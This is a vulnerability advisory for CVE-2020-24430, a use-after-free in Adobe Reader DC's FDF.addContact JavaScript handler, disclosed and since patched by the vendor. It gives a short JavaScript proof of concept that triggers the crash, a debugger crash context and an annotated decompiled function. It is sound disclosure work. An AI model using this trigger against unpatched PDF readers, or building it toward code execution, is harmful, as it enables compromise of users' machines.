CVE: CVE-2020-24430

Tested Versions:

  • Adobe Reader DC 2020.012.20041

Product URL(s):

Description of the vulnerability

Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF).

There is an UAF bug when Adobe Acrobat DC executes javascript related to the FDF.addContact function

The following is the crash context (with page heap enabled):

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=004fb7bc ecx=1ceeafd0 edx=0030d000 esi=1ceeafd0 edi=7e476eb8
eip=6301132a esp=004fb5ec ebp=004fb608 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210246
Acrobat!DllCanUnloadNow+0x6153a:
6301132a 8b5f14          mov     ebx,dword ptr [edi+14h] ds:002b:7e476ecc=????????

Vulnerability Discovery/Analysis

The following POC would trigger the bug when executed in a privileged / trusted context:

var f = app.newFDF();

var oEntity={firstName:"Fred", lastName:"Smith", fullName:"Fred Smith"};

Object.defineProperties(oEntity, {
  'lastName': {
    'get': function(){
      f.close();
      return 'Smith';
    }
  }
})

f.addContact(oEntity);

The vulnerable PPKLite.api binary used for the analysis has the md5 of:

$ md5sum PPKLite.api 
6431d71e45670747c1cfc2cf1145d4b2  PPKLite.api

The vulnerability lies in the handling of the FDF.addContact function. PPKLite+0x121d20 is invoked to handle the addContact javascript call. The function obtains an object reference and stores it in v35 prior to parsing the call arguments. While parsing the arguments, the custom javascript getter on lastName is called which removes the FDF object and invalidates the v35 object reference. The PPKLite+0x121d20 function, however, fails to check the validity of v35 after argument parsing and passes v35 directly to CPPKEncode::addContact at PPKLite+0x122852 resulting in a crash:

signed __int16 __cdecl s__add_contact(wchar_t *a1, int a2, int a3, int a4)
{
  __int16 v5; // si
  int v6; // eax
  int v7; // eax
  wchar_t *v8; // [esp-8h] [ebp-1E0h]
  uintptr_t v9; // [esp-4h] [ebp-1DCh]
  wchar_t *v10; // [esp+0h] [ebp-1D8h]
  char v11; // [esp+14h] [ebp-1C4h]
  wchar_t v12[2]; // [esp+1Ch] [ebp-1BCh]
  int v13; // [esp+20h] [ebp-1B8h]
  int v14; // [esp+24h] [ebp-1B4h]
  int *v15; // [esp+28h] [ebp-1B0h]
  int v16; // [esp+2Ch] [ebp-1ACh]
  int v17; // [esp+30h] [ebp-1A8h]
  int v18; // [esp+34h] [ebp-1A4h]
  __int16 v19; // [esp+38h] [ebp-1A0h]
  __int16 v20; // [esp+3Ah] [ebp-19Eh]
  int v21; // [esp+3Ch] [ebp-19Ch]
  int v22; // [esp+40h] [ebp-198h]
  uintptr_t v23; // [esp+44h] [ebp-194h]
  wchar_t *v24; // [esp+48h] [ebp-190h]
  wchar_t *v25; // [esp+4Ch] [ebp-18Ch]
  int v26; // [esp+58h] [ebp-180h]
  wchar_t *v27; // [esp+5Ch] [ebp-17Ch]
  int v28; // [esp+60h] [ebp-178h]
  int v29; // [esp+64h] [ebp-174h]
  wchar_t *v30; // [esp+68h] [ebp-170h]
  unsigned int v31; // [esp+6Ch] [ebp-16Ch]
  int v32; // [esp+70h] [ebp-168h]
  wchar_t *v33; // [esp+74h] [ebp-164h]
  wchar_t *v34; // [esp+78h] [ebp-160h]
  int v35; // [esp+7Ch] [ebp-15Ch]
  char v36; // [esp+84h] [ebp-154h]
  int v37; // [esp+1D4h] [ebp-4h]

  v34 = (wchar_t *)a2;
  v28 = a2;
  v33 = (wchar_t *)a3;
  v29 = a3;
  v30 = (wchar_t *)a4;
  v26 = a4;
  v27 = a1;
  if ( (*(int (__cdecl **)(wchar_t *, const wchar_t *))(dword_28605AC0 + 204))(a1, "Dead") )
    return (*(int (__cdecl **)(wchar_t *, wchar_t *, _DWORD, signed int, _DWORD))(dword_28605AC0 + 352))(
             a1,
             v34,
             0,
             13,
             0);
  sub_2800D506(&v25, a1);
  v37 = 0;
  if ( dword_2860775C > *(_DWORD *)(*(_DWORD *)(__readfsdword(0x2Cu) + 4 * TlsIndex) + 4) )
  {
    sub_2800D934(&dword_2860775C);
    if ( dword_2860775C == -1 )
    {
      LOBYTE(v37) = 1;
      word_28607750 = (*(int (__thiscall **)(_DWORD, const wchar_t *))(gCoreHFT + 20))(
                        *(_DWORD *)(gCoreHFT + 20),
                        "Batch");
      word_28607752 = (*(int (__thiscall **)(_DWORD, const wchar_t *))(gCoreHFT + 20))(
                        *(_DWORD *)(gCoreHFT + 20),
                        "Exec");
      word_28607754 = (*(int (__thiscall **)(_DWORD, const wchar_t *))(gCoreHFT + 20))(
                        *(_DWORD *)(gCoreHFT + 20),
                        "Console");
      word_28607756 = (*(int (__thiscall **)(_DWORD, const wchar_t *))(gCoreHFT + 20))(
                        *(_DWORD *)(gCoreHFT + 20),
                        "Exec");
      dword_28607758 = -1;
      LOBYTE(v37) = 0;
      sub_2800D9AE(&dword_2860775C);
    }
  }
  if ( (*(unsigned __int16 (__cdecl **)(wchar_t *, wchar_t *, _DWORD))(dword_28605AC0 + 408))(v25, &word_28607750, 0) )
  {
    v6 = (*(int (__cdecl **)(wchar_t *, const wchar_t *))(dword_28605AC0 + 204))(a1, "CosDoc");
    CPPKEncode::CPPKEncode(&v35, v6); // obtains the v35 object reference
    LOBYTE(v37) = 2;
    if ( v35 && (CCosDoc::getRoot(&v35, (int)&v11), CCosObj::getType(&v11) == 6) )
    {
      v32 = 0;
      v14 = 0;
      v15 = &v32;
      v19 = 0;
      v20 = 1;
      v31 = 0;
      *(_DWORD *)v12 = "oEntity";
      v13 = 2;
      v16 = 0;
      v17 = 0;
      v18 = 5;
      v21 = 0;
      v22 = 0;
      if ( !(*(unsigned __int16 (__thiscall **)(_DWORD, wchar_t *, wchar_t *, wchar_t *, unsigned int *, uintptr_t *))(dword_28605AC0 + 368))(
              *(_DWORD *)(dword_28605AC0 + 368),
              v12,
              v25,
              v33,
              &v31,
              &v23) )
      {
        v10 = v24;
        v9 = v23;
        v8 = v33;
LABEL_15:
        v5 = (*(int (__cdecl **)(wchar_t *, wchar_t *, wchar_t *, uintptr_t, wchar_t *))(dword_28605AC0 + 352))(
               a1,
               v34,
               v8,
               v9,
               v10);
        std::locale::locale((std::locale *)&v36);
        goto LABEL_16;
      }
      v7 = ESObject2ASCab(v32); // invokes the javascript getter function which removes the fdf object and invalidates v35
      if ( v7 )
      {
        LOBYTE(v37) = 3;
        CPPKEncode::addContact(&v35, v7); // crashes in this function due to invalid v35
        CPPKEncode::setModDate(&v35, 0);
        v37 = 2;
        (*(void (__cdecl **)(wchar_t *, signed int))(dword_28605AC0 + 116))(v30, 1);
        std::locale::locale((std::locale *)&v36);
        sub_2800EFC3(&v25);
        return 1;
      }
      v10 = (wchar_t *)"oEntity";
      v9 = 1;
    }
    else
    {
      v10 = 0;
      v9 = 13;
    }
    v8 = 0;
    goto LABEL_15;
  }
  v5 = (*(int (__cdecl **)(wchar_t *, wchar_t *, wchar_t *, signed int, _DWORD))(dword_28605AC0 + 352))(
         a1,
         v34,
         v33,
         11,
         0);
LABEL_16:
  sub_2800EFC3(&v25);
  return v5;
}

With careful memory manipulation. This could result in code execution inside sandbox context.

Conclusion

The PPKLite+0x121d20 function needs to check the validity of the v35 object after argument parsing in order to prevent this UAF vulnerability.

Timeline:

  • 2020-08-21 Reported to Vendor, Vendor acknowledged
  • 2020-11-03 Vendor patched vulnerability

Vendor Response

The vendor has acknowledged the issue and released an update to address it. The vendor’s advisory can be found here: APSB20-67.